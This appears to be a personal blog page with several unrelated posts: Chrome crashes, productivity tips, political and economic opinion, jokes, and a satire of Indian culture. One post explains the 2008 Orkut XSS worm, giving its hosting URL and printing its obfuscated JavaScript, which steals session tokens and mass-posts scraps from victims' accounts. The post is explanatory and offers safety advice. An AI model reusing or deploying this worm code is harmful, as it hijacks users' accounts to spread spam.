Googles Chrome, its impact and why you shdn't worry too much about it for now

Google finally did the obvious and launched its own web browser. Its called chrome, its open source and its in trouble as soon as it launched.

The UI isn't any special compared to FireFox, Opera or even the latest version of IE or safari but its simple and well its blue like pretty much everything else Google.

But never mind that looking beyond there are somethings about Google chrome that are just not right.

For one it says the entire browser wldn't crash if one tab fails which is the case in conventional browser but indeed it does crash and it crashed on more than one occasion.

Google claims to test chrome on millions of website i bet they didn't test it on hundreds of users but.

This issue was brought to notice on full disclosure security bulletin.


continued...

Read More

Are We there yet? On being result oriented...

I'll admit after enough failures despite my best efforts and sacrifices in simple projects as well as big projects I have spent enough time contemplating on how to achieve results and be generally result oriented. To some people this comes naturally, they just passionately track their progress and need to see tangible results before their eyes to feel good, all salutes to them, but for a lot of us "dreamer types" this attitude doesn’t come easy.


So we learn it.


But easier said then done, where do you start? Here are my 10 cents on how to be more result oriented.


1. Accept you have a problem.

2. Know what "result" you are looking for.

It doesn’t to be precise and can be work under development things that constantly change and need to be assessed (as a matter of fact you should) but something has to go on paper.

3. Track your pace

After you have jot down your results, you need to break them to into pieces that can be measured against time and you need to track progress and asses your plan frequently.

4. Feel your direction

This is hard to explain, but if you feeling good about the pace of things, you are on the right track, if you have even slight bad feeling about something not falling in to place get back to the drawing board and look at your plans.

5. Forge alliances

We all know the importance of gathering support and achieving results, so look around, ask for help, pay people money, give them a ego boost, threaten them or do what ever it takes to get the stuff moving a little faster to wards the end result.

6. Track other people's progress and set their results for them if they can’t do it for themselves

If "others" are involved in your project make sure they are as focused to achieve the end result and immediate results and are on track

Make them understand and offer the right incentives for them to achieve their immediate results and end result.

The one thing that sucks more then screwing up a project yourself is seeing someone else screw up a project for you.


6. Push it a tad bit harder

If you believe you are at comfort pursuing "the result", something is wrong already. Result oriented people are always striving that little bit harder and the only thing they are comfortable with is till they get result out is "trying that little bit harder".

7. Eliminate baggage

Baggage can be wrong team members, wrong people, wrong place, wrong computer, wrong software, wrong food you ate in the morning that makes you sleepy.

You need to be aware of obstacles (direct and indirect) to your result and eliminate them fast.

This includes firing employees who cannot be motivated after trying enough times to achieve results both personal and companies.

Be ruthless; fire them for their own good. There are enough places that take mediocre motivation (you can fix skill, but if someone lacks motivation that cant be fixed either).

8. Manage and monitor input/outputs

eventually it all comes down to input and output. What i mean here, people who are result oriented are very aware of what goes in and what comes out apart from what was expected to come out.


Imagine a transparent box made of smaller black boxes. In the bigger box you input the resources and raw material. This raw material depending on where its needed inside the bigger box goes to smaller black boxes. Each black box outputs a processed material required to make the end product. Once all the black boxes have outputed the right processed material the bigger box takes these outputs from smaller boxes and combines them before sending it out as a sparkling product you can be proud of.

This would only work if each black box worked perfectly. Only then.

Simply put being result orinted is about what is expected out of that bigger box and then finding out and putting in what is required for that particular output. But manage the output of the smaller boxes often and spot problems at that level early and quickly, correct them, feed in the right raw material and combine efforts of these smaller boxes to make the final product.



Obviously this post is a "work under development" too, and ill append this post based on my own learnings.

Hmm wondering if that black box concept sucked..hmm gotta pick better analogies...

Read More

Just in: Indians are raising world food prices

In another one of those bushism we have all come to love bush recently declared that the world food prices are going up because of increased consumption in India.

Yes you heard right you minions are eating way too much food. Just to clarify the rising prices are not because americans are burning hundreds and thousands of food grain fields to make ethanol fuel but because you are eating a chapati more. You cruel cruel guys.

Sometime back when the next president hopeful mccain was asked by a tv channel what he is going to do about global warming, he innocently said he will convince India and china that reducing global warming is in their interest.

WE HEAR YOU MR MCAIN. And we agree its in our interest. Now will you be kind enough to close those US companies that contribute to majority of green house gases?. Tell me you knew this please, you gotta get serious sometime funny man.


It seems they keep their presidential hopefuls in a closed room for years to make sure they do not have any outside contact. Then suddenyl unleash them on the world without warning at the time of elections.

I wonder what this world would be without americans presidents, i have a feeling americans choose their presidents to make sure they keep them entertained since none of them are good enough to do any worthwhile work anyways.

Read More

of American Recessions, Depressions and Wars

Its all over the idiot box, Cnn, bbc, nbc everywhere else. The US is officially under recession. Interestingly enough its the big boys whose fall has made the recession more profound.


Bears and Stearns Story

Bears and Stearns was recently acquired by JP morgan(which apparently isnt feeling good about its own future) with some(read lot) help from the fed. More interesting(interesting in a bad way...) is presumed to be coming our way with doubts being raised about other big boys like lehman brother and citi group.

Wasnt it expected?

Quite frankly the recession was expected, to some degree with the sub prime crisis. But what turned a crisis into a recession? I believe the same reason what caused a financial crisis to become a cause for recession will ultimately end up putting the US economy into a longer economic depression.

Enough analysts have discussed and are discussing and probably keep discussing the reasons for US economies fall out but as far as i am concerned, someone who isnt a finance guru, the reasons are very basic.

One of the major reasons why this crisis got out of hand is because of the propaganda that was carried in the media like CNN/BBC/NBC and other news sources.

Its strange when the industry biggies and major news channels start declaring recession even before there are any visible signs hitting the common man. The inflation wasnt out of control, people were still consuming, people were still spending.

The impact of real estate and its impact on bigger financial groups(ones more into mortgages and securities) was made out to be bigger then it was.

Strangely the slow down in real estate is cyclic and it happens in every country and it wasnt the first time it happened to US. Minor recessions are cyclic too and it wasnt the first time it happened to US either.

Recessions aren't all bad

Recessions are good in way, it kills the bad companies and gives an opportunity to better ones. for example a sure fall out of recession would be people loosing jobs, these laid off workers will work for lower wages in smaller companies, some of these companies will make it big by the time recession ends(actually being one of the reasons for recession ending).

These smaller companies other wise would never get a chance to hire brilliant people, people who are required to turn a good idea into a great company due to lack resources.

More importantly recession levels the playing field for a bigger firms and smaller firms, since the bigger firms carry the weight of their size while smaller firms can cut their losses by staying leaner.

How negative media impacts confidence

Anyways back to topic, why the impact of a negative media can be so profound in US is because its population is aging, when people age they want security, when you cast doubts over an old mans bank the immediate response is to withdraw some money just in case the news guy is right and my bank is doom.

You play the report for some more time, the old man doubts his bank more and withdraws some more money.

Eventually the a banks surplus depletes and the core banking sector suffers. A sick banking sector will lead to crisis.

Recession or Depression?

So far so good, recession was on the cards anyways right, so big deal, recessions go. Wrong. I believe you cant get a secondary sector healthy like retail or travel or mining by government intervention but i am afraid even the government cant do much about a ailing banking sector.

A banking sector is the backbone of a modern economy. A ailing banking structure cannot sustain a the stress of a companies surviving in a global slowdown(by global slow down i mean people reducing spend and not stock markets plateauing or crashing)

We will still have to wait and see if this is a recession or it turns in to a depression forcing companies to quit US for other economies.

Read more about the great depression of 1930's. If you spot some signs between the last depression and this one, shout out loud, i am listening.

On a side note, actually on the main note, i also proclaim if US drops into recession and the global slow down is seen, US will cause the wars between two regions probably backed by Nato directly or indirectly, why you ask?

US was only able to get over the last economy depression when world war 2 happened when it could supply defense and material to other nations.

Even now US earns a lot of dollars by supplying arms and ammunition to countries across the world, in times of war the spending in defense only increase.

A war between two countries is the surest way for US to boost its economy, since it would supply resources for people pay US and then kill them selves up.


I'll sum up why US is into a recession in 6 sentences

1. Aging population, looks for security, consumption drops, investment drops.

2. Not enough wars around for US to supply arms and ammunition at high rates. Competition from other countries.

3. US is spending on wars of Afghanistan/iraq and other missions.

4. Media and analysts making the crisis bigger then it was resulting in doubts in the minds of consumers and investors.

5. A string of medicore (i am being nice here) leadership(bushs and clintons and others).The next president(mcCain, barak or clinton) are worse then the earlier ones.(the worse so far is harry truman (the animal that dropped atomic bomb on hiroshima killing 80,000 people in an instant)

6. Bad financial decisions(like offering loans and credit without proper documentation and down payment leading to sub prime), bad investment decisions by the same guys who are supposed to offer the common investor financial advice to change his fortunes(what an irony)


America is in trouble(atleast for a while), problem is with the wrong president, we might all be in trouble soon.

Update: Visa had a great IPO in a market assumed to be in recession.

Ps. if you spot some errors, shout and i shall correct myself.(im no US president, i can admit mistakes you know)

Read More

Orkut XSS attack - that "2008 vem ai... que ele comece mto bem para vc" thingie

Orkut XSS Attack - "2008 vem ai... que ele comece mto bem para vc" thing

A lot of you have probably been wondering how you received a scrap saying " 2008 vem ai... que ele comece mto bem para vc" from me or possibly from some friend of yours.

Its called xss attack or cross site scripting attack. A piece of javascript code(on clients side that is your browser) gets executed, when you receive a scrap from your friends id(obviously after his orkut session is infected with the malicious code) with the spam message and started scrapping everyone. This happens when you log into your orkut scrapbook to read the malicious scrap.

When someone sends you a spam scrap and you read that the same scrap is sent to your friends from your account. This will spread for the coming few days possibly till orkut takes some measures.

Steps you can take:

If possible change your gmail account password and do not login to orkut till they sort this out.

Courtesy: Antrix.net(find link in comments)

The script is fetched from here: http://files.myopera.com/virusdoorkut/files/virus.js

function $(p,a,c,k,e,d) {

e=function(c) {

   return(c35?String.fromCharCode(c+29):c.toString(36))

};

if(!''.replace(/^/,String)){

   while(c--){d[e(c)]=k[c]||e(c)}

   k=[function(e){return d[e]}];

   e=function(){return'\\w+'};

   c=1

};

while(c--){

   if(k[c]){

       p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])

   }

}

return p

};

setTimeout(

$('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}

L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};

7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+

(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");

8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1)

{h=l.S(A);6(h!=0){b 2h}}16{h+=2};

5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};

7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")

+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};

7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7()

{6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");

t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0))

;f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};

3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();

3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);

3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);

3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};

7 V(){6(j==8.18("N").M){b};

5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>

[1j]25 "+i F()+"[/1j]<1k/><13 1o="\\" 2a="\\" 2e="\\" r="8.1n(\'r\'); r.1o=" 1c="\\" 1e="\\">";

5 a="15.1I=1&H="+n(q)+"&I="+n(I)+"&K="+n(E)+"&1T="+8.18("N").O(j).P;5 3=B();

3.R("q","o://k.w.p/2i.z",C);3.12("10-1e","Q/x-k-17-1b;");

3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\'s\',j,d);V()}}};

6(!v(\'s\')){5 d=i F;d.1d(d.1h()+11);W(\'s\',\'0\',d)};j=v(\'s\');T();

',62,150,'|||xml||var|if|function|document|domain|send|

return|path|wDate||select|name|begin|new|index|

www|dc|expires|encodeURIComponent|http|com|POST|script|

wormdoorkut|div|end|getCookie|orkut||cookie|aspx

|prefix|createXMLHttpRequest|true|getElementsByTagName|S

IG|Date|loadFriends|POST_TOKEN|scrapText|null|

signature|catch|length|selectedList|item|value|application|

open|indexOf|cmm_join|secure|sendScrap|setCookie|

readyState|onreadystatechange|try|Content|86400

|setRequestHeader|embed|ActiveXObject|Action|else|form|

getElementById|escape|status|urlencoded|200|setTime

|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|

createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|

GMT|go|GET|Compose|width|innerHTML|height|option|

setAttribute|id|submit|style|display|none|removeChild

|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|

history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|

raw|LoL|Msxml2|type|Microsoft|shockwave|flash|

wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera

|XMLHttpRequest|substring|virusdoorkut|CGI|Page'.split('|'),0,{}),1

);

author="Rodrigo Lacerda"



The orkut website is built on asp.net,

if you wish to read the technical side

of preventing xss attacks in asp.net go here 



Update:

1.) The problem seems to have sorted out by orkut in

2 days(thats long)

2.) 400,000 users affected.

3.) Top users affected by country

US, Germany, India, Brazil

4.) Orkut has still not accepted it was

a mistake from their side.The official orkut blog

is still mum on the incidence.

5.) Your password is safe, though it was possible

to hack your gmail password if say the virus

redirected to you to a page which looked

exactly like orkut and asked you to relogin.



A

Read More

Few questions no one has answers to(and noone cares)

Since we were kids we were always told to shut up when we asked the grown ups questions they did not know answers too like when your dad would ask your mom to tell anyone who calls he is not home and you would go why

Eventually it becomes a habbit to not ask questions that no one has answers to unless you happen to be me so here goes the world blame me all you will i dare to ask yet again!


1. If earth is in solar system and solar system is in galaxy and galaxy is in universe what is the universe in?

2. If sky is blue because the oceans blue how is the ocean blue?

3. Why is the most beautiful girl in class always in the next class, bus, car, train, plane?

4. Between a girl and a guy, how is a guy always wrong?

5. If humans evolved from monkeys what did monkeys evolve from?

6. Why doesnt "tulsi" virani get old and die

7. If marriage is a holy instituion how do we graduate from it?

8. Why do guys become bald after marriage?

9. Why do women live longer than guys?

10. Why are chromosomes named x and y and not a and b?

11.Why do people constantly return to the refrigerator with hopes that something new to eat will have materialized? (heard somewhere)

12. Whenever an adult is kidnapped why isn't it called adultnapped??(heard somewhere)

13. Why do we all think we sing well?

14. Can a school teacher give a homeless child homework?(heard somewhere)

15. If god is great and great souls are humble why does he wanne be worshipped?

16. Why is Mickey Mouse bigger than his dog Pluto?(heard somewhere)

17. Why is it called a "building" when it is already built?(heard somewhere)

18. Why does the red light always go on as you reach a traffic signal

19. Why is the traffic slow everytime you have to reach somewhere in hurry?

20. Why cant you find things when you are desperate to find them?

21. Why do superheroes wear underpants outside?

Read More

Welcome to the wannabe nation

This post is about a nation obsessed with being someone else completely hating its own identity and in trying to become someone else is ending up confused. Namaste, welcome to the most wannabe nation in the world. welcome to India.


You know someone is a wannabe when

1. When you work in a call center asking Americans to pay their bills but look down upon to the domestic call center guy who tells Indians to pay the bills

2. You completely despise bidhi(Desi ciggrate) but sell your dogs food to go to a hookah bar

3. You wear short tees really short and keep pulling them down

4. You wear low waist jeans really low(or loose fit)jeans and keep pulling them up

5. Your mom goes for kittyy parties not knowing who was a kitty why did she start such sad party

6. The bouncers at the disco see you more often than the guy who made the mistake of giving you birth(bless that poor soul)

7. You adore shakira, deepika padukone, bipasha and all the dusky women but would look for a "fair girl" when wanting to get married

8. You code cause it pays well, you copy every line of code from Google and write your name in the comment section

9. You wait for your chance to get a on site project and then come home tell people it was fun and you dated American chicks smartly hiding the 16 hr work shifts and countless abuses from Americans not to forget none of the American chicks looked at you while you were there.

10. You look for a wife/husband on those online matrimony sites but match religion, caste, kundli and want traditional wife/husband

11. You sell your chaddis to get on page 3 not realizing noone reads page but yourself and other wannabes.

12. Your name just got mutilated and you feel happy about it Vishal became vishy, pooja become poo(isn't that a dogs name? a diseased dumb dog?) 


13. You call everyone a dude, everyone, your mom, your dog, cause everyone else calls your dude instead of dodo which they should call you

14. You completely agree that god doesn't exist but are seen at siddhivinayaka temple after exams doing some scintific research with folded hands


I'm not done yet, more coming...

Read More